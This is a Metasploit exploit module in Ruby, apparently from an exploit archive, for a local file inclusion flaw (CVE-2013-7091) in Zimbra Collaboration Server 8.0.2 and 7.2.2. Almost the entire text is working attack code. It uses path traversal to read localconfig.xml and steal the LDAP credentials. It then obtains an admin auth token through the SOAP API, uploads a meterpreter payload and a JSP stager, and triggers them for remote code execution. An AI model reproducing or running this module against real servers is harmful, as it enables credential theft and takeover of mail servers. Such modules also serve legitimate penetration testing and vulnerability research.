Zimbra Collaboration Server - LFI Exploit

:
25.12.2013
:
Zimbra 8.0.2, 7.2.2
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include REXML

Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Zimbra Collaboration Server LFI',
'Description' => %q{
This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability
allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen
credentials allow the attacker to make requests to the service/admin/soap API. This can
then be used to create an authentication token for the admin web interface. This access
can be used to achieve remote code execution. This module has been tested on Zimbra
Collaboration Server 8.0.2 with Ubuntu Server 12.04.
},
'Author' =>
[
'rubina119', # Vulnerability discovery
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-7091' ],
[ 'OSVDB', '100747' ],
[ 'BID', '64149' ],
[ 'EDB', '30085' ],
[ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ]
],
'Privileged' => false,
'Platform' => ['linux'],
'Targets' =>
[
[ 'Zimbra 8.0.2 / Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 06 2013"
))
register_options(
[
Opt::RPORT(7071),
OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']),
OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]),
OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra'])
])
end

def check
res = send_traversal_query(traversal_path("conf/localconfig.xml"))

unless res and res.code == 200
return Exploit::CheckCode::Safe
end

#this response is ~100% gzipped
begin
text = Rex::Text.ungzip(res.body)
rescue Zlib::GzipFile::Error
text = res.body
end

if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
print_status("#{peer} - Getting login credentials...")
res = send_traversal_query(traversal_path("conf/localconfig.xml"))

unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end

#this response is ~100% gzipped
begin
text = Rex::Text.ungzip(res.body)
rescue Zlib::GzipFile::Error
text = res.body.to_s
end

if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
zimbra_user = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
end

if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/
zimbra_pass = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
end

print_good("#{peer} - Got login credentials!")
print_status("#{peer} - Getting auth token...")

soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy

res = send_request_cgi({
'uri' => normalize_uri("service", "admin", "soap"),
'method' => 'POST',
'ctype' => 'application/soap+xml; charset="utf-8"',
'headers' =>
{
'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"',
},
'data' => soap_req
})

unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")
end

if res.body.to_s =~ /<authToken>(.*)<\/authToken>/
auth_token = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get auth token")
end

@cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"
print_good("#{peer} - Got auth token!")

#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler
#the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/
#the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy!

#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards
payload_name = rand_text_alpha(8+rand(8))
stager_name = rand_text_alpha(8+rand(8)) + ".jsp"

stager = gen_stager(payload_name)
payload_elf = generate_payload_exe

#upload payload
print_status("#{peer} - Uploading payload")
res = upload_file(payload_name, payload_elf)

unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload")
end

#upload jsp stager
print_status("#{peer} - Uploading jsp stager")
res = upload_file(stager_name, stager)

unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")
end

register_files_for_cleanup(
"../jetty/webapps/zimbra/downloads/#{stager_name}",
"../jetty/webapps/zimbra/downloads/#{payload_name}"
)

print_status("#{peer} - Executing payload on /downloads/#{stager_name}")

res = send_request_cgi({
'uri' => normalize_uri("downloads", stager_name),
'method' => 'GET',
})
end

def traversal_path(file_name)
::File.join(
"../" * datastore['DEPTH'],
datastore['ZIMBRADIR'],
file_name
)
end

def send_traversal_query(traversal)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'v' => "091214175450",
'skin' => "#{traversal}%00"
}
})

return res
end

def upload_file(file_name, data)
req_id = rand_text_numeric(2).to_s

post_data = Rex::MIME::Message.new
post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"")
post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")

n_data = post_data.to_s
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'uri' => normalize_uri("service", "extension", "clientUploader", "upload"),
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'cookie' => @cookie
})

return res
end

def build_soap_req(zimbra_user, zimbra_pass)
xml = Document.new
soap_var = "ns1:AuthRequest"

xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:ser' => "http://service.emulation.ws.mercury.com",
'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope",
'xmlns:ns1' => "urn:zimbraAdmin",
'xmlns:ns2' => "urn:zimbraAdmin",
})

xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")

header = xml.root.elements[1]
body = xml.root.elements[2]

header.add_element("ns2:context")
body.add_element("ns1:AuthRequest")

ns1 = body.elements[1]
ns1.add_element(
"account",
{
'by' => "name"
})

ns1.add_element("password")

ns1.elements["account"].text = "#{zimbra_user}"
ns1.elements["password"].text = "#{zimbra_pass}"

return xml.to_s
end

def gen_stager(payload_name)
stager = "<%@ page import=\"java.util.*,java.io.*\"%>"
stager += " <%"
stager += " String uri = request.getRequestURI();"
stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);"
stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;"
stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";"
stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
stager += " p.waitFor();"
stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
stager += "%>"

return stager
end
end

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